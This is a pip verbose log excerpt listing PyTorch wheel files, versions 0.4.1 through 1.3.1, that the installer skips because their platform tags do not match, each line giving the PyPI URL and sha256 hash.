    Skipping link: none of the wheel's tags match: cp36-cp36m-macosx_10_7_x86_64: https://files.pythonhosted.org/packages/59/cf/404677f62d18609b3d8b4fdcd62c98981e1a6bd2d086ece3f84c880623a3/torch-0.4.1-cp36-cp36m-macosx_10_7_x86_64.whl#sha256=e740fb4442ab0cf6a5e5c5279b6ad3cebdeb8f30ce1dabb293cf437178f12a78 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp36-cp36m-manylinux1_x86_64: https://files.pythonhosted.org/packages/49/0e/e382bcf1a6ae8225f50b99cc26effa2d4cc6d66975ccf3fa9590efcbedce/torch-0.4.1-cp36-cp36m-manylinux1_x86_64.whl#sha256=7e3bac584473688720e26323bf209b97c015fc4e9a12a34962df3ff7ad0ce597 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp37-cp37m-macosx_10_7_x86_64: https://files.pythonhosted.org/packages/ea/89/cf01b153c80977b4649404612f0ff6ad636e11d1a0bbcae6ec3bde4ffa19/torch-0.4.1-cp37-cp37m-macosx_10_7_x86_64.whl#sha256=4bf7ffe72bf1af8305b6a3acbe246351f4e09a1c4d4de2364066064da56c869b (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp37-cp37m-manylinux1_x86_64: https://files.pythonhosted.org/packages/a2/6f/60e77fe7a4b4e23808f1e4c6261dec2ea15abbfd91b0d791f107365f4f2b/torch-0.4.1-cp37-cp37m-manylinux1_x86_64.whl#sha256=2acd73723a0f0bd0b8114531e78b7ad3c753a2f2c0047623043cba4dae08ae90 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp37-cp37m-manylinux1_x86_64: https://files.pythonhosted.org/packages/d3/91/1b2871d6c8ca079254deae5872af32e02e9a85f07dd0834e8b3489ce138f/torch-0.4.1.post2-cp37-cp37m-manylinux1_x86_64.whl#sha256=61d653dc464bc51402b73379af9a025b3b7eaa258b37e576601e3e0d92f2b97e (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp27-cp27m-manylinux1_x86_64: https://files.pythonhosted.org/packages/fb/d7/71b982339efc4fff3c622c6fefecddfd3e0b35b60c5f822872d5b806bb71/torch-1.0.0-cp27-cp27m-manylinux1_x86_64.whl#sha256=4aadc7124afc431ac6a227a05dc8eff417b6fd8f90fc6c44d514ddfca9a6b474 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp27-cp27mu-manylinux1_x86_64: https://files.pythonhosted.org/packages/56/92/419c6959c0c427909994f019c039bf963354fe50153fa3a41094782b3a43/torch-1.0.0-cp27-cp27mu-manylinux1_x86_64.whl#sha256=cb92ac65fcc7685fa6c5920b24101182dcb706d841fc6154ada604f749b615e3 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp27-none-macosx_10_6_x86_64: https://files.pythonhosted.org/packages/9a/c0/af73b96a2b91c25945895491208fdf248d26b4606eabcb82472298e851bd/torch-1.0.0-cp27-none-macosx_10_6_x86_64.whl#sha256=53e12607830ccb1e5fc4076aafe19bdbbc380799793fbaad696714b72859bde6 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp35-cp35m-manylinux1_x86_64: https://files.pythonhosted.org/packages/86/78/a113ef4e76dfb539e5c73be2aa010008b88fe1d83e324b5a3b16011bb245/torch-1.0.0-cp35-cp35m-manylinux1_x86_64.whl#sha256=cedbc382a0e992a169c73d2c469887c2e5ce0c6fa88b1dabe8f9021e1acb564f (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp35-none-macosx_10_6_x86_64: https://files.pythonhosted.org/packages/e2/b0/f0f5be42ba4bc9944607d118321b21125c8d9a95f44c96808e524bd47d13/torch-1.0.0-cp35-none-macosx_10_6_x86_64.whl#sha256=7e73a141bf817c0a914131dec51ea24a2f1946b96749b003af664230a9b95197 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp36-cp36m-manylinux1_x86_64: https://files.pythonhosted.org/packages/7e/60/66415660aa46b23b5e1b72bc762e816736ce8d7260213e22365af51e8f9c/torch-1.0.0-cp36-cp36m-manylinux1_x86_64.whl#sha256=012a9c7efce86c7a0ce78cd7945fe7c798049537fc3e85af9f14e8789d13c17f (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp36-none-macosx_10_7_x86_64: https://files.pythonhosted.org/packages/d0/47/068dc7020fd8cf89cca74a16690e274fb55c08684bcaece11348d98264f0/torch-1.0.0-cp36-none-macosx_10_7_x86_64.whl#sha256=ded9e2e59c086127423c23e902e2bec42b3b443a0e458fae76c013f62a7e0748 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp37-cp37m-manylinux1_x86_64: https://files.pythonhosted.org/packages/f5/3b/0b8de6e654c2983898564226792c6f09d9bcaba97b7b29c40e4ed4ae43ed/torch-1.0.0-cp37-cp37m-manylinux1_x86_64.whl#sha256=df005dff3e3f12911630e48e0e75d3594a424a317d785b49426c23d0810a4682 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp37-none-macosx_10_7_x86_64: https://files.pythonhosted.org/packages/32/44/3a9e5b9e7d582625880fbdee9f2162357c7f0c1776b29f1eb35bcc5357e8/torch-1.0.0-cp37-none-macosx_10_7_x86_64.whl#sha256=f4196ce8ba17797f3c2d13c0d53cf461a8e32f6130a08e6e4ce917637afccdc6 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp27-cp27m-manylinux1_x86_64: https://files.pythonhosted.org/packages/32/03/58598c909307c476783cd2aeac0bf31c4a007a3dfefdce87dd004c2d0c1f/torch-1.0.1-cp27-cp27m-manylinux1_x86_64.whl#sha256=743ab46bf82eef8b71042f9423eeef6e2bae0974694f3b3e918a287f69dd693a (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp27-cp27mu-manylinux1_x86_64: https://files.pythonhosted.org/packages/4f/36/c826fd725208e736e43778310a892cd1d6185d987b4db9c10dc29f6e3309/torch-1.0.1-cp27-cp27mu-manylinux1_x86_64.whl#sha256=6618b915124d22309d6ba7d80cf7539084bc7146f21837a9329a1d9e3a4e647d (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp27-none-macosx_10_6_x86_64: https://files.pythonhosted.org/packages/6e/e1/52ec6cf586810d9ac80c755f7f1f07bf063267e9eb4b961da27a6351e431/torch-1.0.1-cp27-none-macosx_10_6_x86_64.whl#sha256=b71e072dc68ef49afc3d9aaf0af8bcb20ce03bfce5cb43ee45be2d9cae5edf40 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp35-cp35m-manylinux1_x86_64: https://files.pythonhosted.org/packages/7f/99/2a699ac907eaeba9d490a3d58116bfe6e73cda561bacd7b8bbeb7fdd25d1/torch-1.0.1-cp35-cp35m-manylinux1_x86_64.whl#sha256=0932756a2de0ea9a47a4aee34e6cd475734a355477e5149a006fc8faf57a3229 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp35-none-macosx_10_6_x86_64: https://files.pythonhosted.org/packages/e3/61/9cdaf21523293ac026ef3adde8ac0b0863159a322c36aa577dfa47dc63ea/torch-1.0.1-cp35-none-macosx_10_6_x86_64.whl#sha256=6154a8b92d869982d586d6a31955071d4bceb89e170153efd2861555bccd84c1 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp36-cp36m-manylinux1_x86_64: https://files.pythonhosted.org/packages/f7/92/1ae072a56665e36e81046d5fb8a2f39c7728c25c21df1777486c49b179ae/torch-1.0.1-cp36-cp36m-manylinux1_x86_64.whl#sha256=1330e1c47302113f05e65b17e518e9ebcf41b53982e38ee4e662fbc5390bb46c (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp36-none-macosx_10_7_x86_64: https://files.pythonhosted.org/packages/26/90/14b572514cee8aa577ff6607405982e431e3864f85d43abcb18347cd7d84/torch-1.0.1-cp36-none-macosx_10_7_x86_64.whl#sha256=ebf899165c96cba8468237c8bb0a0cc9e1a838ecd05fb0272934a83f33594a77 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp37-cp37m-manylinux1_x86_64: https://files.pythonhosted.org/packages/4e/ba/d78f35357995297206790fe1af8688bc0403828c90f8e99190035196d56e/torch-1.0.1-cp37-cp37m-manylinux1_x86_64.whl#sha256=13d09d5022e0dd251a88b6be0415eecddafb093b067a253ff0c5c0f5acd12077 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp37-none-macosx_10_7_x86_64: https://files.pythonhosted.org/packages/b1/a6/414a603f24eee6df88da1d087fe358a13d32f8d571eba71520f4620d96be/torch-1.0.1-cp37-none-macosx_10_7_x86_64.whl#sha256=d7a88d0e8c58effe46a4b31531e26340657375c61da4f5a2002b0e4b07f85437 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp27-cp27m-manylinux1_x86_64: https://files.pythonhosted.org/packages/f4/ce/5f0d393b305aea396be45cbdc977f5f7ba31c0003cc0e822e0e560dffaaf/torch-1.0.1.post2-cp27-cp27m-manylinux1_x86_64.whl#sha256=a002d509e98a3ea17f45affc5c440808d7ac119d7510bb27da7b184aafb59943 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp27-cp27mu-manylinux1_x86_64: https://files.pythonhosted.org/packages/93/b3/672813e65ac7605bac14a2a8e40e1a18e03bf0ac588c6a799508ee66c289/torch-1.0.1.post2-cp27-cp27mu-manylinux1_x86_64.whl#sha256=43e40d9cf70d038fe9a9c06eaadf3f39756fe76a530a0bd1dec9f21654ee5851 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp27-none-macosx_10_6_x86_64: https://files.pythonhosted.org/packages/b6/0a/913d41850dba7fffe62c66383f401cca73f0168b7c3af56fb3d9cc94356d/torch-1.0.1.post2-cp27-none-macosx_10_6_x86_64.whl#sha256=2e04bcc8b6536ba01a924cbcfb9eff2428be6c9cc73956df38dfcf63c948fbf5 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp35-cp35m-manylinux1_x86_64: https://files.pythonhosted.org/packages/59/d2/4e806f73b4b72daab9064c99394fc22ea6ef1fb052154546405057cd192d/torch-1.0.1.post2-cp35-cp35m-manylinux1_x86_64.whl#sha256=c8dd2478d3e8c0da293c618be60432bb166fe36c50663e26b1fe9e7123365fe5 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp35-none-macosx_10_6_x86_64: https://files.pythonhosted.org/packages/91/1f/984c586639a44bd166efad7cded2bcec8e9a235bcc1286b78dd49a82b20b/torch-1.0.1.post2-cp35-none-macosx_10_6_x86_64.whl#sha256=7822918f3d32a99db2bb5616a5c28d989d6e4b6a54d720cb25e60551dacafa1e (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp36-cp36m-manylinux1_x86_64: https://files.pythonhosted.org/packages/31/ca/dd2c64f8ab5e7985c4af6e62da933849293906edcdb70dac679c93477733/torch-1.0.1.post2-cp36-cp36m-manylinux1_x86_64.whl#sha256=639e9414cd3a787c807206199bf3285815a41fac9b2e20aca0db9a971db5399e (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp36-none-macosx_10_7_x86_64: https://files.pythonhosted.org/packages/87/fa/f3f09928494120f02a09053645c9a3fabdb5ebf9b2dc262557700a485df4/torch-1.0.1.post2-cp36-none-macosx_10_7_x86_64.whl#sha256=96fd5e8ffc117f79d1baaa65da601d35411f341d90d8ca1204236925f164b043 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp37-cp37m-manylinux1_x86_64: https://files.pythonhosted.org/packages/7a/24/260f228857c652b58ee6f3ff7cacc9d987cea776a1ece6b76d794dcb7058/torch-1.0.1.post2-cp37-cp37m-manylinux1_x86_64.whl#sha256=652b70751bbe974370feff27f51b6cd7856c14a57eb06fdd1c9f2dfcc2731401 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp37-none-macosx_10_7_x86_64: https://files.pythonhosted.org/packages/5f/4a/f4eb1d57fa7db52298959ce38f27869dfe6bc75010048a64c5be94cbd33f/torch-1.0.1.post2-cp37-none-macosx_10_7_x86_64.whl#sha256=40ad926ebdef6db70811102ae1448584a0c338a2fce2ff718533b9016664398e (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp27-cp27m-manylinux1_x86_64: https://files.pythonhosted.org/packages/1c/9b/26dcfb126b70c7ea1a7c65f313a0f7069cf7a30df47b8d98dcc606ae69e4/torch-1.1.0-cp27-cp27m-manylinux1_x86_64.whl#sha256=f3342d535a3465bd73f30504a16d61d2995618e07b62b94b041b4a5860c1c684 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp27-cp27mu-manylinux1_x86_64: https://files.pythonhosted.org/packages/0f/ff/92aea60792d3b45c44ded21d6248690f69a6153af9685aad1424507ffe84/torch-1.1.0-cp27-cp27mu-manylinux1_x86_64.whl#sha256=12387aa96653004d9ad7d9e5d3eadc98b15e51f5f4d168808cb5d81bffe70618 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp27-none-macosx_10_6_x86_64: https://files.pythonhosted.org/packages/a9/a4/57738e8d39b7b6ae96cb40ee14453dd8bf97259c2f3c8232413aae32e736/torch-1.1.0-cp27-none-macosx_10_6_x86_64.whl#sha256=b1abcbb86c08912dd791895d3beccbef9404de7a0b9966ae7f8c9d2a04668e49 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp35-cp35m-manylinux1_x86_64: https://files.pythonhosted.org/packages/56/9b/a241f6e3d1df013e65e0b03b17e46bd9517036cd9ba9d8cb9384df396e3b/torch-1.1.0-cp35-cp35m-manylinux1_x86_64.whl#sha256=d7d48a3472688debf86ba9ba61b570d6ed0529413dacaa8408b84db878079395 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp35-none-macosx_10_6_x86_64: https://files.pythonhosted.org/packages/1b/00/c6f64d2441c6077321560835de93e34a4b2d5937e8f9ae7568959ec11da8/torch-1.1.0-cp35-none-macosx_10_6_x86_64.whl#sha256=cb1a87d732b084bf1d931b8d1e34c357b10b2f9f7bbdf1a41fe951d16007ed75 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp36-cp36m-manylinux1_x86_64: https://files.pythonhosted.org/packages/69/60/f685fb2cfb3088736bafbc9bdbb455327bdc8906b606da9c9a81bae1c81e/torch-1.1.0-cp36-cp36m-manylinux1_x86_64.whl#sha256=40c644abef1767dcac58f3285021ea963123b392e5628d402e985123ea8701ca (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp36-none-macosx_10_7_x86_64: https://files.pythonhosted.org/packages/d9/02/2d0bbb9ddfcf85771d9eb7ac8fd3c9e00980205e5d1df72e09767791cc92/torch-1.1.0-cp36-none-macosx_10_7_x86_64.whl#sha256=ac6d634468849876b1ae3ae8e35a6c4755be9eddac2708922782730ec0415cd0 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp37-cp37m-manylinux1_x86_64: https://files.pythonhosted.org/packages/ac/23/a4b5c189dd624411ec84613b717594a00480282b949e3448d189c4aa4e47/torch-1.1.0-cp37-cp37m-manylinux1_x86_64.whl#sha256=337161e62354f40766be367a338766b409c59b64214436851ac81d6ef2e4f3ab (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp37-none-macosx_10_7_x86_64: https://files.pythonhosted.org/packages/c9/e2/40f7f017437139e5dc076ea5ad4207da61250cc078bceef7d6f333c1d05c/torch-1.1.0-cp37-none-macosx_10_7_x86_64.whl#sha256=2e852457ff6830868d7acd1fcb0b3ea3b0447947d5f57460cbe2eb4e05796d85 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp27-none-macosx_10_6_x86_64: https://files.pythonhosted.org/packages/f2/12/31142f451f63d0d4f87167a22565ca60861fe53313933816ce86710bffe6/torch-1.1.0.post2-cp27-none-macosx_10_6_x86_64.whl#sha256=ee2c48794c767606f4629ee3d1f147e2fcb1a02a31b6bca252cc7c7e3ad22c4a (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp35-none-macosx_10_6_x86_64: https://files.pythonhosted.org/packages/80/f6/4908d4e62e4ff5d68727bc687a550acfaae7821a0e945930762e210a3b54/torch-1.1.0.post2-cp35-none-macosx_10_6_x86_64.whl#sha256=9f4182043f8ac72d6fd52c5189f1600c94e827b698748c355097077874e8c810 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp36-none-macosx_10_7_x86_64: https://files.pythonhosted.org/packages/98/14/8fb914c6f13e9d889f4e14f6d811901fc48fde6be7f052756d08e861f960/torch-1.1.0.post2-cp36-none-macosx_10_7_x86_64.whl#sha256=87d4778e848e4c83505a0d10135d514871ea0ae2da75e0710be272ea5048f9e3 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp37-none-macosx_10_7_x86_64: https://files.pythonhosted.org/packages/95/80/0851d6088bb054be3ddf47bfde1aedb4e1cbd170cf8e1c60cad321b97162/torch-1.1.0.post2-cp37-none-macosx_10_7_x86_64.whl#sha256=3f3023345c6db4db28a79f52ada186fc6307ba8a0c85252eb0a70b78eff3a443 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp27-cp27m-manylinux1_x86_64: https://files.pythonhosted.org/packages/29/97/54d97bd1892261ceeb11853398730b3fdf1605b15ad2fa9b9a6a51010051/torch-1.2.0-cp27-cp27m-manylinux1_x86_64.whl#sha256=a8c21f82fd03b67927078ea917040478c3263753fe1906fc19d0f5f0c7d9aa10 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp27-cp27mu-manylinux1_x86_64: https://files.pythonhosted.org/packages/aa/91/d5c9d3fb65ca12c06a3118164a40e6011b7f44c185e0bcd9e055dd1b2b21/torch-1.2.0-cp27-cp27mu-manylinux1_x86_64.whl#sha256=880a0c22692eaebbce808a5bf2255ab7d345ab43c40795be0a421c6250ba0fb4 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp27-none-macosx_10_6_x86_64: https://files.pythonhosted.org/packages/db/64/252fbd52d22cdddc646f3eb676a1a3af9e8ae51b524bbd6d661665eb8353/torch-1.2.0-cp27-none-macosx_10_6_x86_64.whl#sha256=f63d489c54b4f170ce8335727bbb196ceb9acd0e7805477bbef8fabc914bc0f9 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp35-cp35m-manylinux1_x86_64: https://files.pythonhosted.org/packages/21/2e/14b3b24adc4ba2f8af26000a871d721f6cd84e966cfc06418c088d04fbb9/torch-1.2.0-cp35-cp35m-manylinux1_x86_64.whl#sha256=661ad06b4616663149bd504e8c0271196d0386712e21a92619d95ba88138794a (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp35-none-macosx_10_6_x86_64: https://files.pythonhosted.org/packages/44/47/f39349db6dacff94d8b6bccad9bc3d7ae24632ad4825d7980706dcd9effd/torch-1.2.0-cp35-none-macosx_10_6_x86_64.whl#sha256=2ac8e58b069232f079bd289aa160366a9367ae1a4616a2c1007dceed19ff9bfa (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp36-cp36m-manylinux1_x86_64: https://files.pythonhosted.org/packages/30/57/d5cceb0799c06733eefce80c395459f28970ebb9e896846ce96ab579a3f1/torch-1.2.0-cp36-cp36m-manylinux1_x86_64.whl#sha256=a13bf6f78a49d844b85c142b8cd62d2e1833a11ed21ea0bc6b1ac73d24c76415 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp36-none-macosx_10_7_x86_64: https://files.pythonhosted.org/packages/17/97/79c3636f4ed8f7165374c920e11fa6454638b5632eeef997d967fd13b04c/torch-1.2.0-cp36-none-macosx_10_7_x86_64.whl#sha256=43a0e28c448ddeea65fb9e956bc743389592afac824095bdbc08e8a87364c639 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp37-cp37m-manylinux1_x86_64: https://files.pythonhosted.org/packages/05/65/5248be50c55ab7429dd5c11f5e2f9f5865606b80e854ca63139ad1a584f2/torch-1.2.0-cp37-cp37m-manylinux1_x86_64.whl#sha256=b87fd224a7de3bc01ce87eb947698797b4514e27115b0aa60a56991515dd9dd6 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp37-none-macosx_10_7_x86_64: https://files.pythonhosted.org/packages/ba/88/7640344d841e97b9a1531385caac39d984b2c6f4abd1376e1ce0de3a0933/torch-1.2.0-cp37-none-macosx_10_7_x86_64.whl#sha256=0698d0a48014b9b8f36d93e69901eca2e7ec712cd2033908f7a77e7d86a4f0d7 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp27-cp27m-manylinux1_x86_64: https://files.pythonhosted.org/packages/f9/89/84740770505a7a6f83fc18d992c9e53c981c998d2514b4171bd8a28b5b77/torch-1.3.0-cp27-cp27m-manylinux1_x86_64.whl#sha256=7499fbc00ebbb04b6a6cc77ba7055b3b93460da87139dd8aeb357c5446a44cf8 (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
    Skipping link: none of the wheel's tags match: cp27-cp27mu-manylinux1_x86_64: https://files.pythonhosted.org/packages/2f/e9/90851b92b606c4fdd13fa971dd0d47e500736ee9e56fd94570341f08700c/torch-1.3.0-cp27-cp27mu-manylinux1_x86_64.whl#sha256=93e3542d57d413d4bbd75f34ce06b7a2840da3a258e3ce20c751b31a6c24189f (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
    Skipping link: none of the wheel's tags match: cp35-cp35m-manylinux1_x86_64: https://files.pythonhosted.org/packages/da/b5/94ce035094590a56758037dce2160b147fcb2965860b9c22580b5e7047d6/torch-1.3.0-cp35-cp35m-manylinux1_x86_64.whl#sha256=aec5245b459427bd4acea092bacbd6794bebaf65488caf931833a76cfbf9c5fa (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
    Skipping link: none of the wheel's tags match: cp35-none-macosx_10_6_x86_64: https://files.pythonhosted.org/packages/03/bb/fbf5a3ee3fedc7d5ce92a425e777ef6ee620d4db726028a0bf0ec03542a9/torch-1.3.0-cp35-none-macosx_10_6_x86_64.whl#sha256=edf07e00bb7271406cec50630d7e17f89221eeea9bd6abab885f710d31758691 (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
    Skipping link: none of the wheel's tags match: cp36-cp36m-manylinux1_x86_64: https://files.pythonhosted.org/packages/ae/05/50a05de5337f7a924bb8bd70c6936230642233e424d6a9747ef1cfbde353/torch-1.3.0-cp36-cp36m-manylinux1_x86_64.whl#sha256=2d07d9db5cf43d152c17caf13428c10ab8c8fbf9c3bd503cfc46222cbfd1bb1c (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
    Skipping link: none of the wheel's tags match: cp36-none-macosx_10_7_x86_64: https://files.pythonhosted.org/packages/8d/87/4e42d7ab7cb1e5ee9f2f81d9c5955a7c558894f11c90898fdf838ea40327/torch-1.3.0-cp36-none-macosx_10_7_x86_64.whl#sha256=3b3ef18d03d8bc2ffccef1b3d2a156aa6f3235ed76d1c93cf3711c48055c79ce (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
    Skipping link: none of the wheel's tags match: cp37-cp37m-manylinux1_x86_64: https://files.pythonhosted.org/packages/b4/0b/9d33aef363b6728ad937643d98be713c6c25d50ce338678ad57cee6e6fd5/torch-1.3.0-cp37-cp37m-manylinux1_x86_64.whl#sha256=d460039d0d6c9e3e70b76bf9594c4ac364a287f125d22e10a6e9e1198887422c (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
    Skipping link: none of the wheel's tags match: cp37-none-macosx_10_9_x86_64: https://files.pythonhosted.org/packages/0f/27/36b5f7acd661b2a435c7c9283dd4ddeac9a4c7fc0e328efaddeae2ffaf68/torch-1.3.0-cp37-none-macosx_10_9_x86_64.whl#sha256=b33884ff0ca101ea6a3415e946b85f98253ee32401c6d863cc5fc6d5bb02d81c (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
    Skipping link: none of the wheel's tags match: cp27-none-macosx_10_7_x86_64: https://files.pythonhosted.org/packages/b5/d4/c1860f4836f11c137f08edf74027038468fc0c8094350fc87a2641cb793b/torch-1.3.0.post2-cp27-none-macosx_10_7_x86_64.whl#sha256=02d435248e40a9ed3d81ef81a5466e21216833eab2b9cf076f303b7159592fc7 (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
    Skipping link: none of the wheel's tags match: cp35-none-macosx_10_6_x86_64: https://files.pythonhosted.org/packages/e9/35/2f22898caff94f83b10e352e30727f082e2c9da6f73c6e087fe988575978/torch-1.3.0.post2-cp35-none-macosx_10_6_x86_64.whl#sha256=ab98d84ee449b2e42f352a34fdefc3b6a5fb28041f40619b33d2d09b1a35bd31 (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
    Skipping link: none of the wheel's tags match: cp36-none-macosx_10_7_x86_64: https://files.pythonhosted.org/packages/4d/6b/5630630daae83cd9a7cd34e9e2bd4000228e41da97733e4defc2cfc47198/torch-1.3.0.post2-cp36-none-macosx_10_7_x86_64.whl#sha256=0e6a5ab1970be4d40d176c878c86f56a05af30016db5cd45fa8ef2a3b168c71b (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
    Skipping link: none of the wheel's tags match: cp37-none-macosx_10_9_x86_64: https://files.pythonhosted.org/packages/c2/c9/46d13c7cd7234aca5f12eb84487a14af1719f8e47ae4268786b7b22baec3/torch-1.3.0.post2-cp37-none-macosx_10_9_x86_64.whl#sha256=16efb90d9f341c6af2bba30556a4ff4c31277b184d1e8ad8d2269ac91a7a38f9 (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
    Skipping link: none of the wheel's tags match: cp27-cp27m-manylinux1_x86_64: https://files.pythonhosted.org/packages/60/24/067b6e52dc4f7ea932c159f25e86ece443eb148b35f5b8fcae22fe85155b/torch-1.3.1-cp27-cp27m-manylinux1_x86_64.whl#sha256=d8e1d904a6193ed14a4fed220b00503b2baa576e71471286d1ebba899c851fae (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
    Skipping link: none of the wheel's tags match: cp27-cp27mu-manylinux1_x86_64: https://files.pythonhosted.org/packages/d6/17/1b3f5c0899371b598b453f13ca937a3a640357145c5bd7f5e7422e05ec29/torch-1.3.1-cp27-cp27mu-manylinux1_x86_64.whl#sha256=b6f01d851d1c5989d4a99b50ae0187762b15b7718dcd1a33704b665daa2402f9 (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
    Skipping link: none of the wheel's tags match: cp27-none-macosx_10_7_x86_64: https://files.pythonhosted.org/packages/33/a7/377bc12b4c28c17b0c103f3f65d358ddfb84734a0b5967a4cfd9fc2c5659/torch-1.3.1-cp27-none-macosx_10_7_x86_64.whl#sha256=31062923ac2e60eac676f6a0ae14702b051c158bbcf7f440eaba266b0defa197 (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
    Skipping link: none of the wheel's tags match: cp35-cp35m-manylinux1_x86_64: https://files.pythonhosted.org/packages/24/33/ccfe4e16bfa1f2ca10e22bca05b313cba31800f9597f5f282020cd6ba45e/torch-1.3.1-cp35-cp35m-manylinux1_x86_64.whl#sha256=458f1d87e5b7064b2c39e36675d84e163be3143dd2fc806057b7878880c461bc (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
    Skipping link: none of the wheel's tags match: cp35-none-macosx_10_6_x86_64: https://files.pythonhosted.org/packages/ec/43/75b39e4caa41cc09611ddf4963f6357e68702b94edf52da108cc070d1c6e/torch-1.3.1-cp35-none-macosx_10_6_x86_64.whl#sha256=3b05233481b51bb636cee63dc761bb7f602e198178782ff4159d385d1759608b (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
    Skipping link: none of the wheel's tags match: cp36-cp36m-manylinux1_x86_64: https://files.pythonhosted.org/packages/88/95/90e8c4c31cfc67248bf944ba42029295b77159982f532c5689bcfe4e9108/torch-1.3.1-cp36-cp36m-manylinux1_x86_64.whl#sha256=0cec2e13a2e95c24c34f17d437f354ee2a40902e8d515a524556b350e12555dd (from https://pypi.org/simple/torch/) (requires-python:>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*)
